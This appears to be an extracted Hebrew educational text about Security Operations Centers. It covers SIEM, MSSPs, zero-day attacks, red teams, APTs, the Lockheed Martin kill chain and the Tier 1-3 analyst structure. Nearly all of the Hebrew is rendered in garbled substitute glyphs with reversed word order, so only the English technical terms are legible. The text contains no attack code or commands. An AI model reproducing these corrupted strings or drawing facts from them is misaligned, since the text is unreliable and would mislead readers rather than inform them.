 .˭ˣˠ˶˞ˢ ˪''˩ˮˬ ˪˷ ˸ˣ˧˵˧˸˪ ˷ˠ˧ˮ˷ ˨˩˟ ˢ˶ˣ˯˞ ˢ˪ˣ˰˲ ˰˴˧˟ ˭ˣ˰ˬ˷ ˫ˢˬ ˡ˥˞ ,˫˧˟˶ ˫˧ˡ˧˵˲˸ ˶˵˟˪ ˞ˣˢ

 ˰˴˟˪"ˢˤ˧˪ˮ˞" ˬ ˭˧˟ˢ˪ˣ ˭ˣ˰ˬ˷ ˸˞ ˪˞˷˸˪ ,˰ˣ˶˧˞˪ ˸˧ˮˣ˷˞˶ ,˸˞ˤ .˸ˣ˷˰˪ ˢ˯˧ˮ ˢˮ˲ˬ ˢ˧ˢ˧ ˡ˧ˬ˸ ˞˪˷ ˧

ˣ˧ˢ˧˷ ˪˩˩ ˰ˡ˧ˬˢ ˸˥˦˟˞ ˸ˣ˩˶˰ˬ ˪˰ ˨ˬ˸˯ˢ˪ ˶˷˲˞ ˞˪) ˰ˣ˶˧˞ ˸ˮ˟ˢˬ ˵˪˥ ˞ˣˢ ˧˷ˣˮ˞ ˪ˣ˞˷˸ ˭˩ ˣˬ˩ ,

 .ˣ˸˪˧˥˸˟ (˰ˣ˶˧˞ ˪˩ ˫˧˟˩˶ˣˬ ˸ˬ˞ ˧˰ˣ˶˧˞˟ ˵ˣ˯˰˪ ˫˧˦˧˯˪ˮ˞ˢ ˸˞ ˢˮ˲˧ ˞ˣˢ˷ ˢ˧ˮ˷ˢ ˢ˟˧˯ˢˬˣ

ˢ˵˧ˬ˰ˬ ˢ˶˧˵˥ ˫˧˷˶ˣˡˢ ˸˟˩˶ˣˬˣ. ˣˠ˶˥ˢˢ ˪˪˩ ˪˰ ˭ˣˬ˞ ˢ˧ˢ˧ˣ ˪ˢˮ˧ ˶˵˟ ,˱˯ˣˮ˟ ,˭ˣˠ˶˞˟ ˸ˣˬ˧˧˵ˢ ˸

˨˶ˡ ˣ˶˟˰˷ s-SOC. 

 ˸˧ˠˣ˪ˣˮ˩˦ ˢ˶˵˟ ˰ˣ˴˧˟*-  ,˫˧˶˰˲ ˧ˣ˲˧ˬ ˪ˣˢ˧ˮ ,˸˷˶ ˟˴ˬ ˸ˮˣˬ˸ ˤˣ˩˧˶ ,˸ˣ˞˷˶ˢ ˱ˡˣ˰ ˧˪˰˟ ˫˧˷ˬ˸˷ˬ

 ˪ˣˬ ˸˲˦ˣ˷ ˢˡˣ˟˰ISO ˶˞˷ ˸ˬ˧˸˶ ˨ˣ˸ ˷ˣˬ˧ˬ ˧ˡ˧˪ ˭˸˞˟ˢˣ s-SOC ˫˧˧ˮ˩˦ˢ ˫˧ˬ˶ˣˠˢˣ 
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ˢ˧˧ˮ˟ ˸ˬ˵ˢˣ SOC 

ˢ ˸˞ ˢ˶˴˵˟ ˣˮ˶˵˯˷ ˶˥˞˪-SIEM , ˡˣ˞ˬ ˟ˣ˷˥ˢ ˨˟ˡˮˢ-˟SOC, ˣ˧˩˧˪ˢ˸ˣ ˣ˧˟˧˩˶ˬ ,˶˵˟ˢ ˡ˧˵˲˸ ˸˞ˣ 

˸˯˧˲˸˪ ˶ˣ˟˰˪ ˶˷˲˞ s-SOC.ˢ˟˥˶ ˶˸ˣ˧ ˸˴˵ ˸ˣ˪˩˸˯ˢˬ , 

˸˧˧ˮ˟ ˧˩ ˭˧˟ˢ˪ ˟ˣ˷˥ SOC  ˢ˥˦˟˞ ˧˶˴ˣˬ ,˸ˣ˟ˣ˶ˬ ˸ˣ˧˴˵ˮˣ˲ ˭˧˟ ˸˶ˣ˷˵˸ ˢ˪ˣ˰˲ ˱ˣ˸˧˷ ˷˶ˣˡ ,˧˸ˣ˩˧˞

˭˞˩ ˠ˴ˣˬ˷ ˧˲˩ ,˫˧ˮ˸˷ˬ ˫˧˩˧˪ˢ˸ˣ ,˫˧ˮˣ˷: 

 

]ˢ˷ˣ˪˷ ˫˧˩˧˪ˢ˸ ˫˧˧˶˵˧˰ ˪- SOC :˫˧˷ˮ˞ ,ˢ˧ˠˣ˪ˣˮ˩˦ ,˫˧˩˧˪ˢ˸[ 

˪˷ ˣ˸ˣˬ˪˷ ˸˞ ˫˧˥˧˦˟ˬ ,ˢ˪˞ ˫˧˩˧˪ˢ˸ ,˧˸˧˧˞˶˟ s-SOC ,ˢˬ˵ˢ˟ ˧˸ˣ˰ˬ˷ˬ ˨˟ˡˮ ˢˣˣˢˬ ˡ˥˞ ˪˩ˣ ,

.ˢ˪˧˰˲ ˢ˶˧ˤ˟ˣ ˪ˣ˰˲˸ 

 ˧˪ˢˮˬSOC  ˫˧˲˧ˡ˰ˬˢ ˢ˪˞˩ ˷˧ .˸ˣˬ˶ˢ ˧ˠ˶ˡˬ ˧˲˪ ˶˸ˣ˧˟ ˢ˟ˣ˦ˢ ˢ˶ˣ˴˟ ˫ˢ˧˷ˮ˞ ˸˞ ˶˧˷˩ˢ˪ ˫˧˥˶˩ˣˬ

 ˸ˣ˶ˣ˴˸˟ ˣ˞ ˸ˣ˶˧˷ ˧˵˲˯ ˸ˣ˰˴ˬ˞˟) ˳ˣ˥ ˶ˣ˵˧ˬ ˧˸ˣ˶˧˷˟ ˷ˬ˸˷ˢ˪MSSP ˫˰ ˸ˣ˧ˣ˶˩˧ˢ ˟˟˯ ˶˥˞˪ .(

˷ ˶ˣ˟˯ ˧ˮ˞ ,˫˧ˮˣ˷ ˫˧˶ˤˠˬ˟ˣ ˢˮˣ˷ ˭˲ˣ˞˟ ˫˧˪˰ˣ˲ˢ ˸ˣˮˣ˷ ˸ˣ˶˧ˤ- SOC  ˟˩˶ˣˬ˷ ˢˤ˩ ˞ˣˢ ˧˸ˣ˩˧˞

˫˧˦˯˧˪ˮ˞ˬ  ˪˥ˢ ˶˸ˣ˧˟ ˢ˟ˣ˦ˢ ˢ˶ˣ˴˟ ˭ˣˠ˶˞ˢ ˸˞ ˫˧˶˧˩ˬ˷ ˢ˪˞ ˫ˢˣ ˸ˣ˧ˢ ˣ˪ ˢ˴ˣ˥ˬ ˞˪ˣ ˭ˣˠ˶˞ˢ ˨ˣ˸ˬ

˸ˣ˟ˣ˸˩ ˸ˬ˶˪ ˡ˰ˣ ˫˧ˮˣ˷ˢ ˫˧˩˧˪ˢ˸ˢˬ s-IP  .ˢ˞˶˸ˢ˟ ˣ˴˲˵˷ 

˫˧˵ˣ˥ˢ ˸˞ ˟˧˧˦˪ ˢ˧ˢ˧ ˣˡ˧˵˲˸˷ ˧ˡˣ˰˧˧ ˸ˣˣ˴ ˷˶ˡˮ ˢ˶˧ˤ˟ ˫˧˦˯˧˪ˮ˞ˢˣ ˫˧˶˵˟ˢ ˪˷ ˫ˡ˧˴˪ ˟-SIEM 

ˡ˴˪ ˱˯ˣˮ ˨˟ˡˮ ˢˣˣˢ˧ ˢˤ ˸ˣˣ˴ .˸ˣ˩˶˰ˬ˟ˣ s-SOC  ˞˪ˣˣ˩ˣ˸˟ ˫˧˵ˣ˥ ˟ˣ˧˦ˣ ˸˟˧˸˩ :ˣ˧ˢ˧ ˫˧˧˶˵˧˰ˢ ˣ˧ˡ˧˵˲˸ˣ 

-˟SIEM, ,˭ˮˣ˧˲˞ˣ ˸ˣˤ˧˪ˮ˞ ˸˟˧˸˩ ˸ˣ˩˶˰ˬˢ ˸ˬ˶˟ ˰ˡ˧ ˧ˡ˵ˣˬ ˧˸ˣˣ˴ ˪ˣˬ ˢˡˣ˟˰ˣ ˸ˣ˩˶˰ˬ ˸˦˧˪˵ ,

˪ ˰˧˧˯˪ ˭˸˶˦ˬ˷ ˸ˣˮˣ˷ ˸ˣ˧ˣ˪˧˰˲ ˡˣ˰ˣ ˫˧˧ˮ˩˦ˢ ˢ˧˴˶ˠ˦ˮ˧˞ˢ- SOC  ˸ˮˬ ˪˰ ˱˯ˣˮ˟ˣ ,"˫˧˧˵˸ˢ˪ ˨˧˷ˬˢ˪"
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 "˧˸˧˧˷˰˸ ˦˵˷" ˶ˣ˴˧˪˧˷ˮ˞ ˧ˬˣ˥˸ ˶˷˵ˢ˟ s-SOC  ,˨˩˪ ˱˯ˣˮ˟ .˫˧˰ˣ˶˧˞ˢ ˪ˣ˲˧˦˟ˣ ˶ˣ˦˧ˮ˟ ˣ˵˯˰˧˷ ˭˩ˣ

.˫˧˦ˮˣˣ˪˶ ˞˪˩ ˣ˞˴ˬ˧ ˸ˣ˟ˣ˶˵ ˫˧˸˧˰˪ ˣ˟˧˧ˣ˦˧ ˞˪ ˶˷˞ ˫˧˵ˣ˥ 

:˫˧˧˸˧˰ ˫˧ˮˣˬ˧˞ 

˧˸ˣˣ˴ ˪˷ ˭˸˧ˮˢ ˪˩˩ ,˸˧˟˶˧ˬˢ ˫˸ˣ˶˧˷˩ ˸˞ ˥˧˦˟ˢ˪ ˧ˡ˩˟ s-SOC, s-SOC  ˫˧˪ˣˠ˶˸ ˫˰ ˡˡˣˬ˸ˢ˪ ˟˧˧ˣ˥ˬ

 ˸ˣ˲˵˸ˬ ˶˸˧ˢ ˭˧˟ˣ ˸ˣ˲˵˸ˬˣZero-Day ˣ˷ˡ˥ ˸ˣ˷˪ˣ˥ˣ.˸ 

Zero-day: ˸˲˧˵˸ ˶˟˧˧˯ ˸˪˴ˮˬˢ ˸˴˶˲ ˢ˥˦˟˞ ˸ˣ˩˶˰ˬ˟ ˸˞ˤ˩ˣ ˢ˪ˣ˪˰˷ ˷˥˶˸ˢ˪ ˫˶˦˟ ˭˩ˣˢ ˳˲ˣˢˣ ˭ˣ˵˧˸ ˸ˬ˧˯˥˪ ˸˴˶˲ 

ˢ˥˦˟˞ˢ ,ˣ˞ ˨ˣˬ˯˟ ˡˣ˞ˬ ˢˮ˩ˢ˪ ˢ˴˲ˢ˪ˣ ˪˷ ˭ˣ˵˧˸ˢ ˷ˣ˶ˡˢ . 

˨˶ˡ˟ ˪˪˩ ,˸ˣˣ˴ˢ ˱˵ˣ˸ˢ ˞ˣˢ ˸ˣˣ˴ ˫ˣˡ˞ )Red-Team* (˧ˬ˧ˮ˲ ˪˷ ˭ˣˠ˶˞ˢ x˞ ˪˷ ˢ˶˟˥ ˸˧ˮˣ˴˧˥ .˸ˣˣ˴ˢ 

˱˵ˣ˸ˢ ˰˴˟˧ ˸ˣ˪ˣ˰˲ ˸ˣˮˣ˷ ˸˷˶˟ ,˫˧˧ˮˣ˧˥ ˫˧˯˩ˮˣ ˸ˣ˧ˤ˩˶ˬ ˸ˣˡˣ˵ˮ** ,˸ˣ˩˶˰ˬ ˸˲˧˵˸ ˪˰ ˸ˮˬ ˞ˡˣˣ˪ 

ˣ˸ˣ˶˧˷˩ ˣ˸ˣˮ˩ˣˬˣ ˪˷ s-SOC ˰ˣ˶˧˞˪ ˶˟˧˧˯. 

˪˟ˣ˵ˬ ˸ˣˣ˴ˢ˷ ˱˵ˣ˸ˢ ˢ˧ˢ˧ "˧˪˶˦˧ˮ ,"ˢˤ˩ˣ ˞˪˷ ˶˧˩ˬ ˸˞ ˸ˣ˩˶˰ˬˢ ˭ˣˠ˶˞˟ ,˧˯ˣ˲˸ ˢ˪ˣ˰˲ˢ ,˸ˣ˷˪ˣ˥ 

˸ˣ˧ˣ˴ˬ ˡˣ˰ˣ .˰ˣ˴˵ˬ ˢˤ ˭˧˧˲˞˸ˬ ˟˶˟-˸ˣ˧ˬˣ˥˸ ,˪˪ˣ˩ˢ ˸ˣ˶˩˧ˢ ˫˰ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ ,˫˧ˬˣ˷˧˧ ˫˧˧ˮˣˠ˶˞ 

˫˧˴ˣ˲ˮ ,˸˶ˣ˷˵˸ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˣ ,˸ˣ˲˷ ˸ˣˮ˩˸ ,˸ˣ˵˧ˮ˩˦ ˢˮˠˢ ˧˪˩ˣ ˸˥˦˟˞ ˰ˡ˧ˬ ,˧˪˩ˣ ˢ˲˧˵˸ .˫˧ˮˣ˷ 

˧˸˧ˮˬ ˸˞ ˫˧˟˪˷ˢ ,ˢ˷˧˷ ˶˲˯ˬ˟ ,˪˷ ˸˲˧˵˸ APT ˡ˰ ˧ˣ˪˧ˠ˪ ˰ˣ˶˧˞ˢ :˱ˣ˯˧˞ ˰ˡ˧ˬ )˪ˣ˩˧ ˸˥˵˪ ˢˬ˩ ˫˧ˬ˧ 

˱˞ˣ ˶˸ˣ˧ ,(˭˰ˠˣ˲ˢ ˸˧˧ˮ˟ ,˫˧˧˶˷˲˞ ˢ˲˧˵˸ ˧˶ˣ˦˵ˣ ,,˱˵˸ˮˢ ˶ˣˤ˞˟ ˢ˷˪ˣ˥ ˪ˣ˴˧ˮ  ˢˮ˵˸ˢ˰ˣ˴˧˟ˣ ˸ˣ˪˧˰˲ 

ˢ˸˥˷ˢ .˯˶ˢˣ 

*ˢ˥ˮˢ˟ ˶˟ˣˡˬˣ ˸ˣˣ˴˟ ˧ˬ˧ˮ˲ - ˞ˣˢ ˢ˧ˢ˧ ˟˧˧˥ ˸ˣ˧ˢ˪ ˪ˡˣ˟ˬ ˸ˣˣ˴ˬ s-SOC ,˪˪˩˟ˣ :˶ˣ˯˞ x˪ ˢ˧ˢ˧ ˶˧˩ˢ˪ ˸ˣ˷˪ˣ˥ ˸ˣ˩˶˰ˬ˟ ˤ˩˶ˬ˟ ˶ˣ˦˧ˮˢ ,˸ˣ˯˧˲˸ 

ˢˡˣ˟˰ ,˸ˣ˦˧˷ ˢ˶˧˵˥ ˸ˣˡˣ˸ˬˣ ˢˡˣ˟˰ 

**˸ˣ˧ˣ˷˰ ˸ˣˡˣ˵ˮˢ ˸ˣ˧ˢ˪ ˧˟˧˩˶ ˸˶ˣ˷˵˸ ,˸ˣˡˬ˰ ˢ˴˵ ,˫˧˸˶˷ ˡˣ˰ˣ 

:ˢ˲˧˵˸ˢ ˧˟˪˷ ˭˪ˢ˪ 

˭ˣ˷˞˶ˢ ˟˪˷ˢ ˱˵˸ˮˢ ˡ˰˧ˢ ˪˰ ˰ˡ˧ˬ ˱ˣ˯˞˪ ˢ˶˦ˬ˟ ˭ˬˤ ˢ˟˶ˢ ˫˧˪˟ˬ ˫˧˲˵ˣ˸ˢ :˭˧˰˧ˡˣˬ ˱ˣ˯˧˞ ˞ˣˢ ,

ˢ˲˧˵˸˪ ˸ˣ˧˪˞˧˶ ˸ˣ˶˦ˬ ˸˶˧˥˟ˣ ˧ˣˢ˧ˤ ,˶˵˥ˬ ˫˧˰˴˟ˬ  :˭ˣˠ˩ ,˪"˞ˣˡ ˸ˣ˟ˣ˸˩ ˶ˣ˟˰ ˶ˣˣ˧ˡ ˸ˣˬ˧˷˶ ˸ˣ˩˶˰ˬ

˫˧˯˥˧ ˸ˣ˧˲˧˴˲˯ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ˪˰ ˰ˡ˧ˬ ˣ˞ .˭ˣˠ˶˞˟ 

˧ˮ˷ˢ ˟˪˷ˢ  ˞ˣˢ˭˰ˠˣ˲ˢ ˸˧˧ˮ˟ : ˸˟˧˸˩ ˸ˣ˟˶˪ ˢ˲˧˵˸ ˸ˣ˪ˣ˩˧ ˢˮˣ˟ ˱˵ˣ˸ˢ ,˭˧˰˧ˡˣˬˢ ˱ˣ˯˧˞ ˶˥˞˪

.˸ˣ˲˵˸ˮˢ ˸ˣ˩˶˰ˬ˪ˣ ˢ˟˧˟˯˪ ˫˞˸ˢ˟ ˫˧˦ˮˣˣ˪˶ ˫˧ˮ˰ˠˣ˲  "˧ˮ˞˧ˣ˶˦ ˯ˣ˯" ˥˪˷˧ ˱˵ˣ˸ˢ ,˪˪˩ ˨˶ˡ˟

)PDF˭˲ˣ˞˟ (˯˧˲ˣ˞ ˧˩ˬ˯ˬ/ .˵˥ˣ˶ˬ 

 ˟˪˷ˢ˧˷˧˪˷ˢ  ˞ˣˢ ˧''˲˰ :˫˧˧˶˷˲˞ ˢ˲˧˵˸ ˧˶ˣ˦˵ˣlockheed-martin ˷ˣ˪˷˫˧˶ˣ˦˵ˣˣˢ ˸ ˪ˢ ˸ˣ˲˧˵˸- 

APT ˸ˣ˴ˣ˲ˮˢ ˫ˮ˧ˢ˦ˮ˶˦ˮ˧˞ ˧˶˸˞ ˸˲˧˵˸ ,˪''˞ˣˡ˪ ˫˧˲˶ˣ˴ˬ ˫˧˴˟˵ :  .˸˷˶˪ "˫˧˩˪˩ˣ˪ˬ" ˫˧ˮ˵˸ˢ ˧˶ˣ˟˧˥ˣ

.ˢ˲˧˵˸˪ ˶˸ˣ˧˟ ˢ˪˧˰˧ˢ ˨˶ˡˢ ˸˞ ˶˥ˣ˟ ˱˵ˣ˸ˢ 

˧˰˧˟˶ˢ ˟˪˷ˢ ˞ˣˢ ˮ :˱˵˸ˮˢ ˶ˣˤ˞˟ ˢ˷˪ˣ˥ ˪ˣ˴˧ˮ ˸ˣ˩˶˰ˬ ,ˢ˪˰˲ˢ ˸˩˶˰ˬ ˪˷ ˸ˣ˰˧ˠ˲ ˸ˣ˶˦ˬ ˪ˣ˴˧

 ,˸˶ˣ˷˵˸ ˧˟˧˩˶ ,˰ˡ˧ˬ ˸˥˦˟˞˸ˣ˰˧ˠ˲ ˣ˟ ˫˧˧˵˷ ˶˟ˡ ˪˩ ˣ˞ ˸ˣ˧˴˵˧˪˲˞ .,˸˞ˤ ˪˰ ˱˯ˣˮ ˣ ˭˩˸˧˧ ˫˧˲˵ˣ˸ˢ
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) ˵ˣ˥˶ˬ ˢ˦˧˪˷ ˧˪˩ ˣˮ˧˵˸˧ ,˸˷˶ˢ ˸˶ˣ˟˰˸˪ ˣˮ˧ˤ˞˧ ,˸ˣ˷˪ˣ˥ ˣ˵˶˯˧RAT ˷˲˥˪ ˨˧˷ˬˢ˪ ˸ˣ˶˥˞ ˸ˣ˦˧˷ˣ (

 ˰ˡ˧ˬ ˫˧ˮ˯˥˞ˬ ˶˷˞ ˫˧˟ˣ˷˥ ˫˧˟˷˥ˬ.˷˧ˠ˶ 

˧˷˧ˬ˥ˢ ˟˪˷ˢ  ˞ˣˢ˸˧˲ˣ˯ ˢˮ˵˸ˢ : ,˸ˣ˲˵˸ˮˢ ˸ˣ˩˶˰ˬˢ ˪˰ ˵ˣ˥˶ˬ ˢ˷˧ˠ˪ "˧ˮ˞˧ˣ˶˦ ˯ˣ˯" ˪˷ ˢˮ˵˸ˢ

.ˢ˦˧˪˷ˣ ˸˷˶˟ ˸ˣ˧˩˷ˬˢ ˠ˧˷ˢ˪ ˱˵ˣ˸˪ ˶˷˲˞ˬ ˢˤ ˨˪ˢˬ 

ˢ ˟˪˷ˢ˧˷˧˷ ˭ˣ˶˥˞ˢˣ ˞ˣˢ "˭˟˪ ˷˰˶" ˯˶ˢˣ :  ˪˥ˢ ˣ˷ˣˬ˧ˬˣ ˱˵ˣ˸ˢ ˸ˣˣ˴ˢ ˸ˣˬˡ˵˸ˢ ˶˥˞˪ ,˸˰˩

.ˣ˟˧˴ˢ˷ ˫˧ˡ˰˧ˢ ˸ˠ˷ˢ˪ ˣ˞˧˟˧ ˶˷˞ ˸ˣ˪ˣ˰˲˟ ˫˧˦˵ˣˮ ˫˧˲˵ˣ˸ˢ ˧˷˧˷ˢ ˡ˰ˣ ˭ˣ˷˞˶ˢ ˟˪˷ˢˬ  ,˪˪˩ ˨˶ˡ˟

 ˰ˡ˧ˬ ˣ˸˧˥˷˧ ˫˧˲˵ˣ˸ˢ ,ˢˤ ˡ˴˪ .˭˟˶ˣ˵ˢ ˸˟˧˟˯ˬ ˰ˡ˧ˬ ˣ˴˪˥˧ˣ ˣˮ˧˲˴˧ ,˰ˡ˧ˬ ˣ˲˷˥˧ ˫˧˲˵ˣ˸ˢ ˢˤ ˟˪˷˟

ˢ ˸ˣ˧ˡˣ˯ ˣ˞/ˣ ˸ˣˮ˧ˬˤ ,˸ˣˮ˧ˬ˞˟ ˣ˰ˠ˲˧ˣ ˣ˰˧ˠ˧ ˫˧˲˵ˣ˸ˢ ,˭˧˲ˣ˪˧˥˪ .˸ˣ˩˶˰ˬ ˯˶ˢ ˣ˞ ˫˧ˮˣ˸ˮ ˸˟˧ˮˠ ˧˶˵ ,˸˷˶

.˸˷˶˟ ˸˧˟˥ˣ˶ ˸ˣ˦˷˲˸ˢ˪ ˭˩ˣ ˫˧˶˥˞ ˫˧˟˞˷ˬ˪ˣ ˸ˣ˩˶˰ˬ˪ ˶ˣ˟˰˪ ˢˮˬˬˣ ˸˷˶˟ ˸˧ˤ˩˶ˬ ˢˡˣ˵ˮ˪ 

 

 

 

 

 

 

 

 

 

 

 

 

 

] ˪˷ ˢ˪ˣ˰˲ˢ ˸˯˧˲˸ ˨ˣ˸ˬlockheed-martin[ 
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 ˧˰ˣ˶˧˞˟ ˪ˣ˲˧˦˟ ˫˧˧˷˵˸ˬ˞: 

˟ ˫ˠ ,˶˟ˡ ˪˩˟ ˣˬ˩-SOC  ˦˶˲˟ ˸ˬ˞ ˧˰ˣ˶˧˞˟ˣ ˪˪˩˩ ˫˧˰ˣ˶˧˞˟ ˪˲˦˪ ˸ˮˬ ˪˰ .˫˧˦ˣ˷˲ ˞˪ ˫˧˧˷˵ ˷˧

 ˧ˤ˩˶ˬ ˪˰ ˢ˟ˣ˦ ˢ˶ˣ˴˟ˢ ˰ˣ˶˧˞ ˪ˣˢ˧ˮ ˨˧˪ˢ˸˟ ˵ˣ˟˵˟ ˶˞ˣˣ˴ˬ ˰ˮˬ˧ˢ˪ ˶ˣ˦˧ˮ˸ˣ˧ˢ x ˫˧˰ˣ˶˧˞ ˢ˪˞˩ ˫˧˶˵ˬ˟

˫˧˧ˣ˯ˬ ˸ˣˣ˴˟ ˫˧˰˵˸ˮ (ˢ˦ˬ ˦ˣ˶˧˲) ˟- SOC ˫˧˪ˣ˩˧ ˵ˣ˟˵˟ ˧˶˞ˣˣ˴ .ˢˬ˪˯ˢ ˣ˞ ˫˧ˬ˶ˣˠˢ ˭ˣ˩ˡ˰ ,˪ˣ˲˧˦ ˞˪˪

˷˥˶˸ˢ˪ ˸ˣˮ˦˵ ˞˪ ˞ˣˣ˷ ˸ˣ˞˶˸ˢ ˸ˣˬ˩ ˧ˡˬ ˶˸ˣ˧ ˪˪ˠ˟ ˢ ˸ˬ˶˟ ˫˧ˡ˧˵˲˸ ˸˶ˡˠˢ ˧˞ˬ ˭˩ˣ-Tires . 

,ˢˤ ˶˷˵ˢ˟  ˸ˣ˩˶˰ˬˢ ˪ˡˣˠ˟ ˭˟ˣˬ˩ ˟˷˥˸ˢ˟ ˫˧ˠˣ˪ˣ ˰ˡ˧ˬ ˪˷ ˸ˣˬˣ˴˰ ˸ˣ˧ˣˬ˩ ˶ˣ˴˧˪ ˫˧˪ˣ˩˧ ,˪˪˩˩ ˸ˣ˩˶˰ˬ

˫˧˪˩ ˵˧˲˯ˬ ˭˧˞ ˫˧˸˧˰˪ˣ ,˸˷˶ˢ ˸˟˧˟˯ˣ ˸ˣ˩˶˰ˬˣ  ˸ˮˬ ˪˰˭ˣ˥˟˪ ˧˟ˠˮ ˫˞ .ˢ˪˞ ˸ˣ˩˶˰ˬ˟ ˢ˞˶˸ˢ ˪˩ ˪

 ˣˮ˥ˮ˞˷ ˭ˣˣ˧˩ˬ ˣˮ˪˷ ˸ˣ˟ˣ˷˥ˢ ˸ˣ˞˶˸ˢˢ ˸ˣˬ˩˟ ˢˡ˧˶˧˪ ˫ˣ˶ˠ˪ ˪ˣ˪˰ ˢˤ ˣˮ˪˷ ˫˧ˠˣ˪ˢ ˶˲˯ˬ ˸˞ ˫˴ˬ˴ˮˣ

˸ˬ˞ ˸˧˶˵˸ ˞˧ˢ ˸ˣ˧˶˵˸ˢ ˶˞˷ˬ ˸˧˶˵˸ ˣˤ˧˞ ˦˧˪˥ˮ˷ ˢ˪˞. ,˨˩˪ ˧˞  ˢ˧˩˶˶˧ˢ˟ ˶ˡ˯ ˢ˧ˢ˧˷ ˫ˠ ˟ˣ˷˥

ˢ ˨ˣ˸˟-SOC˪ ˫ˣ˶ˤ˸ ˰ˡ˧ˬˢ ˪˷ ˸˧˪ˬ˧˯˵ˬ ˸ˣˬ˩˷ ˟ˣ˷˥ˣ ˸ˣ˞˶˸ˢ˟ ˪ˣ˲˧˦ ˸˟ˣ˦˪ ,-SIEM. 

-˟ SOC ˪˩˩ ˶˲˯ˬˢ˷ ˢ˪ˣ˰ ˨˩ ˫ˠ ˸ˬ˶ ˰ˡ˧ˢ ˸ˣˮˬˣ˧ˬˢˣ ˪˷ ˫˧˸ˣˣ˴ˢ ˢ˪ˣ˰ ˫ˠ ˞˧ˢ ˪˧˥˸ˬ ˰ˣ˶˧˞ :˶ˬˣ˪˩ ,

-˟Tier 1 ˪ ˫˪˯ˣˬ-2 Tier˪ ˫˪˯ˣˬ ˞ˣˢ ˢˤ ˸ˣˣ˴˟ ˶ˠ˯ˮ ˞˪ ˰ˣ˶˧˞ˣ ˢˡ˧ˬ˟ˣ ,- Tier 3 ˸ˣˣ˴˩ ˶ˡˠˣˬ ˞ˣˢ˷

˪˷ ˧ˮ˩˦ˢ s-SOC˧ˣ˴˧ˬ˪ ˰˧ˠˢ˪ ˸ˮˬ ˪˰ ˸ˣˬˡ˵˸ˬ ˸ˣ˩˶˰ˬ˟ˣ ˢ˶˧˵˥ ˧˪˩˟ ˷ˬ˸˷ˬ ˢˤ ˸ˣˣ˴ ,  ˪˷ ˧˟˶˧ˬ

.ˢ˶˧˵˥ˢ ˦˟˧ˢ˟ ˰ˣ˶˧˞ˢ  ˸˷˟ˠ˸ˬ ,˥''ˣˡˢ ˪˰ ˱˯ˣˮ .˶ˡˣ˯ˬ ˢ˶˧˵˥ ˥''ˣˡ ˞˴˧˷ ˪˟ˣ˵ˬ ,ˢ˶˧˵˥ˢ ˫ˣ˧˯˟

 ˡˣ˞ˬ ˟ˣ˷˥ ,ˢ˷˰ˬ˪ ˢ˩˪ˢ .ˡ˧˸˰˟ ˫˸˰˧ˮˬ˪ˣ (˷˧ˣ ˢ˥ˮˢ˟) ˰ˣ˶˧˞˟ ˫˧˶˰˲ˢ ˫ˣ˴ˬ˴˪ ˢˡˣ˟˰ ˸˧ˮ˩˸

ˢ ˭˧˟ ˶ˡ˯ ˢ˧ˢ˧˷- Tires˶ˡ˯ ˶ˣ˴˧˪ ˸ˮˬ ˪˰ˣ ˸ˣˮˣ˷ˢ ˸ˣ˧˶˵˸˟ ˶ˡ˯ ˧˞˪ ˫ˣ˶ˠ˪ ˞˪ ˧ˡ˩  ˢ˧˴˪˵˯˞ ˧ˠ˶ˡˣ

.˫˧˶ˡˠˣˬ 

3 Tires: 

 ˦˯˧˪ˮ˞Tier 1 -  ˰˴˟˪ ,ˢ˥˦˟˞ˢ ˸˧˶˵˸˪ ˟˧ˠˢ˪ˣ ˸ˣˢˤ˪ ,˸ˬ˞ ˭ˬˤ˟ ˶˦ˮ˪ ˧˞˶˥˞ ˣˤ ˢˬ˶˟ ˦˯˧˪ˮ˞

 ˧ˡ˩ ˸˧ˮ˧˴˶ ˵˧˲˯ˬ ˢ˞˶˸ˢˢ ˫˞ˢ ˦˧˪˥ˢ˪ˣ ˸˷˶˟ ˸ˣ˧ˣ˰˧ˠ˲ ˵ˣ˶˯˪ ,ˢ˪˵ ˸˧ˮˣ˷˞˶ ˢ˶˧˵˥ˣ ˢ˧˴˪˵˯˞

˦˯˧˪ˮ˞˪ ˢ˸ˣ˞ ˫˧˪˯ˢ˪  Tier 2 ˸ˮ˧˥˟˟ ˢ˞˶˸ˢ ˫˞ˢ ˰˟ˣ˵˷ ˢˤ ˞ˣˢ ,ˢ˷˰ˬ˪ ˢ˩˪ˢ .ˢ˧˪˰ ˶˸ˣˣ˪ ˣ˞

 ˟ˣ˶˧˰ ˞˪˪ ,ˣˤ ˢˬ˶˟ ˣ˶ˠ˯˧˷ ˸ˬ˞ ˸ˣ˞˶˸ˢ ˣ˧ˢ˧ˣ ˭˩˸˧˧ .˸ˬ˞ ˸˞˶˸ˢTier 2 x-Tier 3. 

:˫˧˧˦ˮˣˣ˪˶ ˫˧˶ˣ˷˧˩ˣ ˸ˣ˶˷˩ˢ Network Security, SIEM, Investigative Training, IT, Develop, System 

Security  ,Alert triage procedures ,tool-specific training, 

 ˦˯˧˪ˮ˞Tier 2 - ˧ˮ˲˪ ˣ˧ˢ˷ ˢ˞˶ˮ˩ˣ ˫˧˯ˣˮˬ ˶˸ˣ˧ ˫˧˦˯˧˪ˮ˞ˢ ,ˣˤ ˢˬ˶˟ ˟-1 Tier  ˢˬ˶˟ ˫˧˦˯˧˪˞ˢ .ˣˬˡˣ˵ˣ

 ˰˴˟˪ ˫˧˞˶˥˞ ˣˤdrilling down ˢˬ˶ˬ ˫˧˪˟˵ˬ ˫ˢ˷ ˸ˣ˞˶˸ˢˢ ˪˰ ˵ˣˬ˰ˣ ˧ˮ˩˦1   ˶˥˞ ˰ˡ˧ˬ ˫˰ ˫˶ˣ˷˧˵ˣ

 ˫ˢ ,ˣˤ ˸˶ˠ˯ˬ˟ .˰ˣ˶˧˞˟ ˶˟ˣˡˬ˷ ˢ˰˧˟˵ˣ ˢ˥˦˟˞ ˸˧˶˵˸ ˢ˰˶˧˞ ˫˞ˢ ˸ˣ˞˶˪ ˧ˡ˩ (˧ˮ˧˰˧ˡˣˬ ˰ˡ˧ˬ ˭ˣˠ˩)

